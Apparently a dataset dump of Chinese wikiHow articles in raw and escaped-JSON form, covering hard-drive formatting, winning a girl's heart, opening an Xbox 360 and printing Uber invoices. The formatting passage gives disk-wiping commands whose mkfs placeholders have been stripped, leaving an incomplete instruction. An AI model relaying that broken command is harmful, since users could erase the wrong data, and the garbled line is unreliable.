class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n区分大小写通常和多用户的计算机操作系统适用。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/c\\\\/c7\\\\/Format-a-Hard-Drive-Step-22Bullet2.jpg\\\\/v4-460px-Format-a-Hard-Drive-Step-22Bullet2.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/c\\\\/c7\\\\/Format-a-Hard-Drive-Step-22Bullet2.jpg\\\\/v4-728px-Format-a-Hard-Drive-Step-22Bullet2.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n如果你想在Windows系统里分享文件并连接的话，MS-DOS是最好的选择。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/4\\\\/45\\\\/Format-a-Hard-Drive-Step-22Bullet3.jpg\\\\/v4-460px-Format-a-Hard-Drive-Step-22Bullet3.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/4\\\\/45\\\\/Format-a-Hard-Drive-Step-22Bullet3.jpg\\\\/v4-728px-Format-a-Hard-Drive-Step-22Bullet3.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\"}, {\"编号\": 8, \"标题\": \"给驱动盘命名。\", \"描述\": \"\"}, {\"编号\": 9, \"标题\": \"点击删除。\", \"描述\": \"跟随提示，等待它的完成，然后就可以了。\"}]}, {\"编号\": 4, \"标题\": \"Windows 9x (95, 98, Me)\", \"步骤\": [{\"编号\": 1, \"标题\": \"如果你想保存磁盘上的任何数据，通过复制到一个CD或另一个硬盘来备份。\", \"描述\": \"格式化之后会摧毁磁盘上的所有数据。\"}, {\"编号\": 2, \"标题\": \"使用一个启动软磁碟（有时候被称为“启动盘”）来获得DOS指令。\", \"描述\": \"\"}, {\"编号\": 3, \"标题\": \"打格式化命令C：\", \"描述\": \"\"}]}, {\"编号\": 5, \"标题\": \"Linux 或者 BSD\", \"步骤\": [{\"编号\": 1, \"标题\": \"启动光盘\", \"描述\": \"\"}, {\"编号\": 2, \"标题\": \"打开末端窗口（通常是像X终端系统或者终端窗口的东西）\", \"描述\": \"\"}, {\"编号\": 3, \"标题\": \"输入“su\\\"或者“sudo-i\\\"来登入\", \"描述\": \"\"}, {\"编号\": 4, \"标题\": \"输入代码。\", \"描述\": \"打mkfs. /dev/hd ，把 改成你想要的文件类型。(举例：ext2, ext3, reiserfs,...) 并且 代表你驱动器的字母， 代表你想要格式化的分区的数字。 (举例：/dev/hda1, /dev/hdc32,...). 使用 j option (mke2fs -j)可以创建ext3文件系统，这个文件系统对意料之外的能量流失有很好的抵抗性。(在Linux的操作系统下, 你也可以在FAT文件系统里格式化Windows可读的硬盘驱动器(使用mkfs.vfat 来代替mkfs.ext2)。但是这样的分区不能存储Linux的操作系统）。\"}], \"小提示\": [\"高级设置：在你的新分区里选择一个好的文件系统。对于Windows，NTFS是最好的选项。Linux和 BSD 更多样化。XFS或者EXT3是不错的选择。XFS有更高的性能，但是EXT3有更好的修复性。Mac用户应该使用HFS+. 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14,743 | 如何赢得姑娘的芳心 | 1. 外貌
1-1. 不要妄图去吸引每个女人，只需试着去吸引那个她。
不要在穿着或行为举止上，让别人觉得你是个浪荡公子。就是那种看起来像刚从一家颇具规模的模特公司试镜出来的家伙，或是那种对街边路过的任何一个美女都要上下打量一番的家伙，千万不要变成那种人。不可否认，有的女人的确会被那类男人吸引，但最终她们会觉得你们只是在吸引整个女性群体，而不是她们单个的个体。
别穿得过于闪耀，要穿成那个女生喜欢的类型，不要穿成你以为那个女生喜欢的类型。
不要对所有女生调情，亲密的聊天，只能对她一个人这么做。
1-2. 照顾好自己的身体。
你能照顾好自己，就意味着如果她需要的话，你也能照顾好她。要保持良好的卫生习惯，坚持运动。虽然不必刻意减肥，但一定要保持健康和身形。同样的，还要均衡膳食。
1-3. 打扮得体。
穿着不合身，有污渍和漏洞的寒酸衣服会让女生觉得，你非常不重视自己（这可不是你想得到的评价！）。而穿着过时的（太老旧）的衣服，会让对方觉得你沉浸在过去，没办法继续面对新生活。所以，为了让对方觉得她和你在一起会很幸福，你需要穿着合身、干净、得体的服饰。
1-4. 体味清香。
女生都喜欢闻起来香香的人。常洗澡，勤刷牙，喷清香剂，甚至可以喷些古龙水或身体喷雾。柑橘香很适合初试者，清新宜人，却又不过分浓烈。
1-5. 自信。
自信就是一种性感。掌握主动权，从妄自菲薄，得体的自我表达（不光对她，对所有人都是）会让她觉得你自信非凡。
2. 行为
2-1. 保持本色。
要记得：保持本色永远是最棒的。如果一个女人真的爱你，那么她就会爱你的所有。如果我们伪装成什么别的人，那么总有一天我们会撑不住的。即使她真的爱你，但如果她发现你是装出来的，她就会觉得被欺骗了，也就不会再爱你了。
保持本色，也会让你更快乐。
2-2. 尊重她和每个人。
你应该知道，如果想要赢得她的芳心，就应当尊重她（如果你本来不知道，那现在应该知道了！），但要记得，也一定要尊重别人。如果她看到你对别人的态度很差，她就会担心，如果有一天她惹你生气或是做错了什么，你是不是也会用同样的态度对待她。
尊重她以及别的所有人，就意味着，倾听对方的想法，理解对方的观点，不轻视对方，或不平等地对待对方，从不欺骗对方，也不对其说出残忍恶毒的话。总而言之，就要善良而又礼貌。
2-3. 热情一些。
不只要对感情热忱，对生活也要抱有一腔热忱。和热情的人在一起就会变得更加热情、积极，所以我们总会被那些积极热情的人吸引，希望这些人参与我们的生活。去尝试、喜爱那些会让你变得快乐、独特的事情，不要去管别人怎么说，怎么想。
2-4. 带来欢乐。
就像我们喜欢积极热情的人一样，我们也非常喜欢那些会让生活变得更有趣的朋友。如果你能带给她的生活很多快乐，比如，找些有趣的事情做啊，做些新的尝试新的探索啊，那么她一定会爱上你的。
2-5. 支持她，永远把她摆在第一位。
事实上，女性的生活要比男性艰难很多，大部分的社会系统总是将女性摆在更弱势的地位（比如说，女性总是比男性赚的更少），所以女性需要一个能帮助自己的人生伴侣，而不是把生活弄得更糟的人。如果你想赢得她的心，就要让她知道，你不会成为她的负担。你要有强烈的职业道德，尽你所能帮助她，让她觉得你重视她超过任何人。
让她知道你把她摆在第一位的最好的办法，就是大方向所有人承认你和她在一起，而且你非常爱她。
另一个让她觉得自己在你心中独一无二的方法就是，花时间陪她。不要让她因占用了你的时间而有付就干，要让她知道你和她在一起有多快乐。
有一份正当的工作，经济状况稳定。工作不必太好，如果她觉得她可以依靠你生活，而无需担心薪水的问题，就会忽视你薪水的具体数额。
2-6. 关心她。
让她知道你关心她。拿出你的男子气概，让她了解你的感情。男人从小就被教导说，不要流露自己的情感，而女性也会觉得感情丰富会吓跑男人，但事实上，我们都很难受。所以，管他的！让她知道你的感情，别怕对她坦白你有多爱她。
对她好一些。在她需要倾诉的时候，好好倾听；一起面对生活中的挑战；鼓励她，帮助她追求自己的梦想；无私地对待她，让她觉得你的关怀就仿佛微风般温柔宜人。
3. 赢得她的芳心
3-1. 送她一些合心意的惊喜礼物。
没错，送礼物是赢得女性芳心的好方法，但不是任何礼物都奏效的。你不能送她一些你前女友或姐姐喜欢的东西，要送她喜欢的东西。
可以送一些有她喜欢的颜色的礼物，一些她说过想要或需要的礼物，或是（最好是）在一些某些重要时刻，对你们有重要纪念意义的礼物。
3-2. 在她心情不好的时候，送她一束花。
如果她打电话或发短信给你，提到自己心情不是很好，那就在午休或回家的时候，送她一束鲜花。如果她是再晚上才告诉你她今天心情不好的话，那就订束花明天一早送到，卡片上写“希望你拥有好心情。”
如果花很特别就更好了，比如在假期过得不快乐的时候，送一株小小的圣诞树，或是一个一捧猫玩偶。
3-3. 和她玩寻宝游戏。
给她一系列提示，每个提示上都会写上一条你爱她的原因，以及下一个地点的线索，最终会她会找到一顿丰盛的晚餐和一个礼物。
3-4. 为她做些小手工。
亲手做些小玩意给她，不必特别精致好看，但要让她觉得你值得她花费如此多的时间和精力。你可以做个小卡品，做个小吊坠，或是做个小模型（可以去当地的工艺品店买些软陶）。
3-5. 为她做顿饭。
如果你心情特别不好的时候，一定不想再进厨房鼓捣个把小时，对吧？如果你知道她今天压力很大（或者，即使她心情很好的时候），帮她做顿晚饭，她一定很感动。
3-6. 给她写封信。
常常给她写信，不必辞藻华丽，但要表达出你的感情。这是非常好的，表达出你的体贴和关心的方式，也是非常好的直抵对方内心的方式。
3-7. 送她一盘CD。
将对你们意义非凡，或能让你想起她的音乐录进一盘CD/磁带/U盘里，通过这些音乐，让她知道你对她的爱（在没遇到她之前，你的生活是怎样的；而你遇到她之后的生活又是怎样的，你第一次见到她时的感觉等等）。
3-8. 遇事征求她的意见，并听从。
女性，也像男人一样，想要让自己变得有用。她们也想为自己在乎的人分忧解难。那么，遇事就去征询她们的意见，让她们发挥自己的作用。但最重要的是，你一定要听从她的意见，并她知道。
3-9. 真正了解她。
要真正了解她的本色，而不是你想要她成为的样子，或是她伪装出来的样子。和讨论一些重要的事情，让她明白你了解她。比如，买票去看一场你不太在意，却对她有重要意义的演出。
4. 额外技能
4-1. 可以陪她聊聊天。
女人都喜欢能聊得来的人，能相处自然不尴尬的人，如果你能成为这样的人，那么，她就是你的了。
4-2. 成为一个很棒的男友。
要成为有趣的约会对象，可不能就是在一旁坐着，满嘴抱怨，或事事让她做决定。要积极规划行程，尽量让她开心自在。
4-3. 赶进度。
好的接吻技巧，虽然不是最重要的事情，但也非常重要哦。要记得，熟能生巧。
4-4. 学会如何调动她的神经。
了解她的兴奋点。这会让她觉得你不只重视自己的欢愉，还会照顾到她的情绪。要了解什么会让她快乐，尽量花多些时间照顾她的情绪。
4-5. 训练幽默感。
每个人都喜欢笑，所以要经常逗她笑，让她知道你能带给她很多欢乐。不要为了表现自己，而恶意中伤别人，这可不是女人喜欢的类型。
小提示
有些女人不喜欢肌肉型男人，但如果你还不到超级运动员的水准，就不用自寻烦恼。
警告
不要改造她。女人不是剪裁出来的，接受她本来的样子才会让她觉得你真正关心她。每个姑娘都是独特的，并非批量生产的，试着欣赏属于你的那一个。
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"回答明细": "{\"回答\": \"1. 外貌\\n1-1. 不要妄图去吸引每个女人，只需试着去吸引那个她。\\n不要在穿着或行为举止上，让别人觉得你是个浪荡公子。就是那种看起来像刚从一家颇具规模的模特公司试镜出来的家伙，或是那种对街边路过的任何一个美女都要上下打量一番的家伙，千万不要变成那种人。不可否认，有的女人的确会被那类男人吸引，但最终她们会觉得你们只是在吸引整个女性群体，而不是她们单个的个体。\\n别穿得过于闪耀，要穿成那个女生喜欢的类型，不要穿成你以为那个女生喜欢的类型。\\n不要对所有女生调情，亲密的聊天，只能对她一个人这么做。\\n1-2. 照顾好自己的身体。\\n你能照顾好自己，就意味着如果她需要的话，你也能照顾好她。要保持良好的卫生习惯，坚持运动。虽然不必刻意减肥，但一定要保持健康和身形。同样的，还要均衡膳食。\\n1-3. 打扮得体。\\n穿着不合身，有污渍和漏洞的寒酸衣服会让女生觉得，你非常不重视自己（这可不是你想得到的评价！）。而穿着过时的（太老旧）的衣服，会让对方觉得你沉浸在过去，没办法继续面对新生活。所以，为了让对方觉得她和你在一起会很幸福，你需要穿着合身、干净、得体的服饰。\\n1-4. 体味清香。\\n女生都喜欢闻起来香香的人。常洗澡，勤刷牙，喷清香剂，甚至可以喷些古龙水或身体喷雾。柑橘香很适合初试者，清新宜人，却又不过分浓烈。\\n1-5. 自信。\\n自信就是一种性感。掌握主动权，从妄自菲薄，得体的自我表达（不光对她，对所有人都是）会让她觉得你自信非凡。\\n2. 行为\\n2-1. 保持本色。\\n要记得：保持本色永远是最棒的。如果一个女人真的爱你，那么她就会爱你的所有。如果我们伪装成什么别的人，那么总有一天我们会撑不住的。即使她真的爱你，但如果她发现你是装出来的，她就会觉得被欺骗了，也就不会再爱你了。\\n保持本色，也会让你更快乐。\\n2-2. 尊重她和每个人。\\n你应该知道，如果想要赢得她的芳心，就应当尊重她（如果你本来不知道，那现在应该知道了！），但要记得，也一定要尊重别人。如果她看到你对别人的态度很差，她就会担心，如果有一天她惹你生气或是做错了什么，你是不是也会用同样的态度对待她。\\n尊重她以及别的所有人，就意味着，倾听对方的想法，理解对方的观点，不轻视对方，或不平等地对待对方，从不欺骗对方，也不对其说出残忍恶毒的话。总而言之，就要善良而又礼貌。\\n2-3. 热情一些。\\n不只要对感情热忱，对生活也要抱有一腔热忱。和热情的人在一起就会变得更加热情、积极，所以我们总会被那些积极热情的人吸引，希望这些人参与我们的生活。去尝试、喜爱那些会让你变得快乐、独特的事情，不要去管别人怎么说，怎么想。\\n2-4. 带来欢乐。\\n就像我们喜欢积极热情的人一样，我们也非常喜欢那些会让生活变得更有趣的朋友。如果你能带给她的生活很多快乐，比如，找些有趣的事情做啊，做些新的尝试新的探索啊，那么她一定会爱上你的。\\n2-5. 支持她，永远把她摆在第一位。\\n事实上，女性的生活要比男性艰难很多，大部分的社会系统总是将女性摆在更弱势的地位（比如说，女性总是比男性赚的更少），所以女性需要一个能帮助自己的人生伴侣，而不是把生活弄得更糟的人。如果你想赢得她的心，就要让她知道，你不会成为她的负担。你要有强烈的职业道德，尽你所能帮助她，让她觉得你重视她超过任何人。\\n让她知道你把她摆在第一位的最好的办法，就是大方向所有人承认你和她在一起，而且你非常爱她。\\n另一个让她觉得自己在你心中独一无二的方法就是，花时间陪她。不要让她因占用了你的时间而有付就干，要让她知道你和她在一起有多快乐。\\n有一份正当的工作，经济状况稳定。工作不必太好，如果她觉得她可以依靠你生活，而无需担心薪水的问题，就会忽视你薪水的具体数额。\\n2-6. 关心她。\\n让她知道你关心她。拿出你的男子气概，让她了解你的感情。男人从小就被教导说，不要流露自己的情感，而女性也会觉得感情丰富会吓跑男人，但事实上，我们都很难受。所以，管他的！让她知道你的感情，别怕对她坦白你有多爱她。 \\n对她好一些。在她需要倾诉的时候，好好倾听；一起面对生活中的挑战；鼓励她，帮助她追求自己的梦想；无私地对待她，让她觉得你的关怀就仿佛微风般温柔宜人。\\n3. 赢得她的芳心\\n3-1. 送她一些合心意的惊喜礼物。\\n没错，送礼物是赢得女性芳心的好方法，但不是任何礼物都奏效的。你不能送她一些你前女友或姐姐喜欢的东西，要送她喜欢的东西。\\n可以送一些有她喜欢的颜色的礼物，一些她说过想要或需要的礼物，或是（最好是）在一些某些重要时刻，对你们有重要纪念意义的礼物。\\n3-2. 在她心情不好的时候，送她一束花。\\n如果她打电话或发短信给你，提到自己心情不是很好，那就在午休或回家的时候，送她一束鲜花。如果她是再晚上才告诉你她今天心情不好的话，那就订束花明天一早送到，卡片上写“希望你拥有好心情。”\\n如果花很特别就更好了，比如在假期过得不快乐的时候，送一株小小的圣诞树，或是一个一捧猫玩偶。\\n3-3. 和她玩寻宝游戏。\\n给她一系列提示，每个提示上都会写上一条你爱她的原因，以及下一个地点的线索，最终会她会找到一顿丰盛的晚餐和一个礼物。\\n3-4. 为她做些小手工。\\n亲手做些小玩意给她，不必特别精致好看，但要让她觉得你值得她花费如此多的时间和精力。你可以做个小卡品，做个小吊坠，或是做个小模型（可以去当地的工艺品店买些软陶）。\\n3-5. 为她做顿饭。\\n如果你心情特别不好的时候，一定不想再进厨房鼓捣个把小时，对吧？如果你知道她今天压力很大（或者，即使她心情很好的时候），帮她做顿晚饭，她一定很感动。\\n3-6. 给她写封信。\\n常常给她写信，不必辞藻华丽，但要表达出你的感情。这是非常好的，表达出你的体贴和关心的方式，也是非常好的直抵对方内心的方式。\\n3-7. 送她一盘CD。\\n将对你们意义非凡，或能让你想起她的音乐录进一盘CD/磁带/U盘里，通过这些音乐，让她知道你对她的爱（在没遇到她之前，你的生活是怎样的；而你遇到她之后的生活又是怎样的，你第一次见到她时的感觉等等）。\\n3-8. 遇事征求她的意见，并听从。\\n女性，也像男人一样，想要让自己变得有用。她们也想为自己在乎的人分忧解难。那么，遇事就去征询她们的意见，让她们发挥自己的作用。但最重要的是，你一定要听从她的意见，并她知道。\\n3-9. 真正了解她。\\n要真正了解她的本色，而不是你想要她成为的样子，或是她伪装出来的样子。和讨论一些重要的事情，让她明白你了解她。比如，买票去看一场你不太在意，却对她有重要意义的演出。\\n4. 额外技能\\n4-1. 可以陪她聊聊天。\\n女人都喜欢能聊得来的人，能相处自然不尴尬的人，如果你能成为这样的人，那么，她就是你的了。\\n4-2. 成为一个很棒的男友。\\n要成为有趣的约会对象，可不能就是在一旁坐着，满嘴抱怨，或事事让她做决定。要积极规划行程，尽量让她开心自在。\\n4-3. 赶进度。\\n好的接吻技巧，虽然不是最重要的事情，但也非常重要哦。要记得，熟能生巧。\\n4-4. 学会如何调动她的神经。\\n了解她的兴奋点。这会让她觉得你不只重视自己的欢愉，还会照顾到她的情绪。要了解什么会让她快乐，尽量花多些时间照顾她的情绪。\\n4-5. 训练幽默感。\\n每个人都喜欢笑，所以要经常逗她笑，让她知道你能带给她很多欢乐。不要为了表现自己，而恶意中伤别人，这可不是女人喜欢的类型。\\n小提示\\n有些女人不喜欢肌肉型男人，但如果你还不到超级运动员的水准，就不用自寻烦恼。\\n警告\\n不要改造她。女人不是剪裁出来的，接受她本来的样子才会让她觉得你真正关心她。每个姑娘都是独特的，并非批量生产的，试着欣赏属于你的那一个。\\n\", \"简要回答\": \"你有没有遇到过你的百分百女孩，想让她像你爱她那样爱你？或是，虽然女朋友对你而言就意味着整个世界，而你却不确信她是否有同样的想法？现在，你可以在wikihow学习如何赢得一个女孩的芳心！就从步骤1读起，学习如何收获一段甜蜜的爱情吧！\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"外貌\", \"步骤\": [{\"编号\": 1, \"标题\": \"不要妄图去吸引每个女人，只需试着去吸引那个她。\", \"描述\": \"不要在穿着或行为举止上，让别人觉得你是个浪荡公子。就是那种看起来像刚从一家颇具规模的模特公司试镜出来的家伙，或是那种对街边路过的任何一个美女都要上下打量一番的家伙，千万不要变成那种人。不可否认，有的女人的确会被那类男人吸引，但最终她们会觉得你们只是在吸引整个女性群体，而不是她们单个的个体。\\n别穿得过于闪耀，要穿成那个女生喜欢的类型，不要穿成你以为那个女生喜欢的类型。\\n不要对所有女生调情，亲密的聊天，只能对她一个人这么做。\"}, {\"编号\": 2, \"标题\": \"照顾好自己的身体。\", \"描述\": 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14,744 | 如何给Xbox 360拆机 | 1. 拆除前面板和散热格栅
1-1. 拆掉前面板。
将Xbox360颠倒放置，把手指放到面板上的孔中拉动以打开面板，你也许得用比较大的力气。
1-2. 拆掉下部的散热格栅。
六个隐藏在白色侧通风口后面的卡扣把灰色的下部散热格栅固定在了机箱上。用你的拆机工具或者小螺丝刀把这些卡扣一一打开，然后小心的拆掉下部的散热格栅。你最好从机身前部，也就是刚拆掉前面板的地方开始，因为这里有足够的空间让你抓住格栅并把它拆掉。
1-3. 拆掉顶部格栅。
如果你还没有把硬盘拆掉的话，现在把它拉出来。你会发现这一侧的形状并不平坦，而是包含一个台阶以适应硬盘的形状。首先要打开沿着这一台阶的突起的两个卡扣，然后如同上一步中一样打开白色侧边上可见的两个卡扣。接下来你会发现最后一个卡扣藏在某一个橡胶垫下。这个卡口上有一个封条，微软通过这个封条是否被破坏判断你的机器是否还有保修资格。
2. 打开机箱
2-1. 打开有两个孔式卡扣的部分。
这两个卡扣位于电源插头与机箱的接口的附近，需要同时打开。你可以把它们相继打开，但这相对来说更困难。这里你将会用到第二把小螺丝刀。用两把螺丝刀或开箱工具打开这两个卡扣，你就可以把外壳撬开了。
2-2. 打开有五个孔式卡扣的部分。
在同一侧的另一端，你可以发现另外五个可以打开的卡扣。通过在撬开外壳时保持恒定的压力，你可以把它们相继打开，或者你可以使用开箱工具简单的一下打开所有卡扣。
2-3. 打开外壳。
把Xbox360翻转过来，让机箱前部对着自己。找到靠近DVD驱动器一侧的固定夹，用指甲（应该很容易）或者平头螺丝刀适当撬动，将它打开。相继打开四个卡扣。
2-4. 拆掉内机箱上的螺丝。
拆掉外壳之后，现在你应该可以看到内机箱了。内机箱可以通过拧下盖板上的螺丝打开。把Xbox翻到另一侧，抬起剩余的外壳以露出内部的组件。这里一定要小心操作。
警告
打开机箱意味着你的保修失效，拆机后果自负。
Xbox 360 是一个复杂的电子设备，如果你的操作不认真，或者你根本不知道你在做什么，你很容易把它弄坏。再次强调，拆机后果自负。
| {
"create_time": "20230517 11:02:20",
"回答明细": "{\"回答\": \"1. 拆除前面板和散热格栅\\n1-1. 拆掉前面板。\\n将Xbox360颠倒放置，把手指放到面板上的孔中拉动以打开面板，你也许得用比较大的力气。\\n1-2. 拆掉下部的散热格栅。\\n六个隐藏在白色侧通风口后面的卡扣把灰色的下部散热格栅固定在了机箱上。用你的拆机工具或者小螺丝刀把这些卡扣一一打开，然后小心的拆掉下部的散热格栅。你最好从机身前部，也就是刚拆掉前面板的地方开始，因为这里有足够的空间让你抓住格栅并把它拆掉。\\n1-3. 拆掉顶部格栅。\\n如果你还没有把硬盘拆掉的话，现在把它拉出来。你会发现这一侧的形状并不平坦，而是包含一个台阶以适应硬盘的形状。首先要打开沿着这一台阶的突起的两个卡扣，然后如同上一步中一样打开白色侧边上可见的两个卡扣。接下来你会发现最后一个卡扣藏在某一个橡胶垫下。这个卡口上有一个封条，微软通过这个封条是否被破坏判断你的机器是否还有保修资格。\\n2. 打开机箱\\n2-1. 打开有两个孔式卡扣的部分。\\n这两个卡扣位于电源插头与机箱的接口的附近，需要同时打开。你可以把它们相继打开，但这相对来说更困难。这里你将会用到第二把小螺丝刀。用两把螺丝刀或开箱工具打开这两个卡扣，你就可以把外壳撬开了。\\n2-2. 打开有五个孔式卡扣的部分。\\n在同一侧的另一端，你可以发现另外五个可以打开的卡扣。通过在撬开外壳时保持恒定的压力，你可以把它们相继打开，或者你可以使用开箱工具简单的一下打开所有卡扣。\\n2-3. 打开外壳。\\n把Xbox360翻转过来，让机箱前部对着自己。找到靠近DVD驱动器一侧的固定夹，用指甲（应该很容易）或者平头螺丝刀适当撬动，将它打开。相继打开四个卡扣。\\n2-4. 拆掉内机箱上的螺丝。\\n拆掉外壳之后，现在你应该可以看到内机箱了。内机箱可以通过拧下盖板上的螺丝打开。把Xbox翻到另一侧，抬起剩余的外壳以露出内部的组件。这里一定要小心操作。\\n警告\\n打开机箱意味着你的保修失效，拆机后果自负。\\nXbox 360 是一个复杂的电子设备，如果你的操作不认真，或者你根本不知道你在做什么，你很容易把它弄坏。再次强调，拆机后果自负。\\n\", \"简要回答\": \"从本文中你将了解到如何拆开你的Xbox360，这在你尝试观察它的内部结构或做一些基本维修时将有所帮助。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"拆除前面板和散热格栅\", \"步骤\": [{\"编号\": 1, \"标题\": \"拆掉前面板。\", \"描述\": \"将Xbox360颠倒放置，把手指放到面板上的孔中拉动以打开面板，你也许得用比较大的力气。\"}, {\"编号\": 2, \"标题\": \"拆掉下部的散热格栅。\", \"描述\": \"六个隐藏在白色侧通风口后面的卡扣把灰色的下部散热格栅固定在了机箱上。用你的拆机工具或者小螺丝刀把这些卡扣一一打开，然后小心的拆掉下部的散热格栅。你最好从机身前部，也就是刚拆掉前面板的地方开始，因为这里有足够的空间让你抓住格栅并把它拆掉。\"}, {\"编号\": 3, \"标题\": \"拆掉顶部格栅。\", \"描述\": \"如果你还没有把硬盘拆掉的话，现在把它拉出来。你会发现这一侧的形状并不平坦，而是包含一个台阶以适应硬盘的形状。首先要打开沿着这一台阶的突起的两个卡扣，然后如同上一步中一样打开白色侧边上可见的两个卡扣。接下来你会发现最后一个卡扣藏在某一个橡胶垫下。这个卡口上有一个封条，微软通过这个封条是否被破坏判断你的机器是否还有保修资格。\"}]}, {\"编号\": 2, \"标题\": \"打开机箱\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开有两个孔式卡扣的部分。\", \"描述\": \"这两个卡扣位于电源插头与机箱的接口的附近，需要同时打开。你可以把它们相继打开，但这相对来说更困难。这里你将会用到第二把小螺丝刀。用两把螺丝刀或开箱工具打开这两个卡扣，你就可以把外壳撬开了。\"}, {\"编号\": 2, \"标题\": \"打开有五个孔式卡扣的部分。\", \"描述\": \"在同一侧的另一端，你可以发现另外五个可以打开的卡扣。通过在撬开外壳时保持恒定的压力，你可以把它们相继打开，或者你可以使用开箱工具简单的一下打开所有卡扣。\"}, {\"编号\": 3, \"标题\": \"打开外壳。\", \"描述\": \"把Xbox360翻转过来，让机箱前部对着自己。找到靠近DVD驱动器一侧的固定夹，用指甲（应该很容易）或者平头螺丝刀适当撬动，将它打开。相继打开四个卡扣。\"}, {\"编号\": 4, \"标题\": \"拆掉内机箱上的螺丝。\", \"描述\": \"拆掉外壳之后，现在你应该可以看到内机箱了。内机箱可以通过拧下盖板上的螺丝打开。把Xbox翻到另一侧，抬起剩余的外壳以露出内部的组件。这里一定要小心操作。\"}], \"注意事项\": [\"打开机箱意味着你的保修失效，拆机后果自负。\\n\", \"Xbox 360 是一个复杂的电子设备，如果你的操作不认真，或者你根本不知道你在做什么，你很容易把它弄坏。再次强调，拆机后果自负。\\n\"]}]}}",
"问题明细": "",
"扩展字段": ""
} | wikihow |
14,745 | 如何打印优步发票 | 1. 打印发票邮件
1-1. 查看你的电子邮箱。
当你通过优步打车，行程结束后，优步会通过邮件发送行程总结和发票。
1-2. 打开优步发票邮件。
打开你想要打印的优步发票邮件。如果你在邮箱里没有发现优步发票邮件，不妨检查一下垃圾邮件文件夹。
如果你找不到想找的优步发票邮件，可以在邮箱里搜索“优步”，查看优步发给你的所有邮件。
1-3. 打印邮件。
每一种邮箱客户端和电脑打印邮件的方式可能不同。一般来说，点击打印后会打开一个打印预览页面，里面有打印机选项：
点击电子邮件右上角的打印机图标。
打开邮件，右键单击文本，然后选择“打印”。
点击菜单栏中的“文件”，然后选择“打印”。
1-4. 点击 打印。
这个大大的蓝色按钮位于弹出窗口左列或右下角。
2. 请求再次发送发票邮件
2-1. 在浏览器里，打开 https://riders.uber.com
。用你常用的浏览器打开优步官网。
2-2. 登录。
使用优步账号（邮箱或手机号）和密码进行登录。
2-3. 点击我的行程。
它是左侧菜单中的第一个选项。点击后会显示你的所有行程。
2-4. 选择一个行程。
点击你想要重新发送发票的行程。
2-5. 点击重新发送。
你的邮箱会收到再次发送的行程发票邮件。
| {
"create_time": "20230517 11:02:20",
"回答明细": "{\"回答\": \"1. 打印发票邮件\\n1-1. 查看你的电子邮箱。\\n当你通过优步打车，行程结束后，优步会通过邮件发送行程总结和发票。\\n1-2. 打开优步发票邮件。\\n打开你想要打印的优步发票邮件。如果你在邮箱里没有发现优步发票邮件，不妨检查一下垃圾邮件文件夹。\\n如果你找不到想找的优步发票邮件，可以在邮箱里搜索“优步”，查看优步发给你的所有邮件。\\n1-3. 打印邮件。\\n每一种邮箱客户端和电脑打印邮件的方式可能不同。一般来说，点击打印后会打开一个打印预览页面，里面有打印机选项：\\n\\n 点击电子邮件右上角的打印机图标。\\n 打开邮件，右键单击文本，然后选择“打印”。\\n 点击菜单栏中的“文件”，然后选择“打印”。\\n1-4. 点击 打印。\\n这个大大的蓝色按钮位于弹出窗口左列或右下角。\\n2. 请求再次发送发票邮件\\n2-1. 在浏览器里，打开 https://riders.uber.com\\n。用你常用的浏览器打开优步官网。\\n2-2. 登录。\\n使用优步账号（邮箱或手机号）和密码进行登录。\\n2-3. 点击我的行程。\\n它是左侧菜单中的第一个选项。点击后会显示你的所有行程。\\n2-4. 选择一个行程。\\n点击你想要重新发送发票的行程。\\n2-5. 点击重新发送。\\n你的邮箱会收到再次发送的行程发票邮件。\\n\", \"简要回答\": \"这篇文章将教你如何打印邮箱里的优步发票。所有优步发票都是发送到和优步账号关联的电子邮箱里。如果你已经删除了邮件，可以在优步网站请求重新发送行程发票。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"打印发票邮件\", \"步骤\": [{\"编号\": 1, \"标题\": \"查看你的电子邮箱。\", \"描述\": \"当你通过优步打车，行程结束后，优步会通过邮件发送行程总结和发票。\"}, {\"编号\": 2, \"标题\": \"打开优步发票邮件。\", \"描述\": \"打开你想要打印的优步发票邮件。如果你在邮箱里没有发现优步发票邮件，不妨检查一下垃圾邮件文件夹。\\n如果你找不到想找的优步发票邮件，可以在邮箱里搜索“优步”，查看优步发给你的所有邮件。\"}, {\"编号\": 3, \"标题\": \"打印邮件。\", \"描述\": \"每一种邮箱客户端和电脑打印邮件的方式可能不同。一般来说，点击打印后会打开一个打印预览页面，里面有打印机选项：\\n\\n 点击电子邮件右上角的打印机图标。\\n 打开邮件，右键单击文本，然后选择“打印”。\\n 点击菜单栏中的“文件”，然后选择“打印”。\"}, {\"编号\": 4, \"标题\": \"点击 打印。\", \"描述\": \"这个大大的蓝色按钮位于弹出窗口左列或右下角。\"}]}, {\"编号\": 2, \"标题\": \"请求再次发送发票邮件\", \"步骤\": [{\"编号\": 1, \"标题\": \"在浏览器里，打开 https://riders.uber.com\", \"描述\": \"。用你常用的浏览器打开优步官网。\"}, {\"编号\": 2, \"标题\": \"登录。\", \"描述\": \"使用优步账号（邮箱或手机号）和密码进行登录。\"}, {\"编号\": 3, \"标题\": \"点击我的行程。\", \"描述\": \"它是左侧菜单中的第一个选项。点击后会显示你的所有行程。\"}, {\"编号\": 4, \"标题\": \"选择一个行程。\", \"描述\": \"点击你想要重新发送发票的行程。\"}, {\"编号\": 5, \"标题\": \"点击重新发送。\", 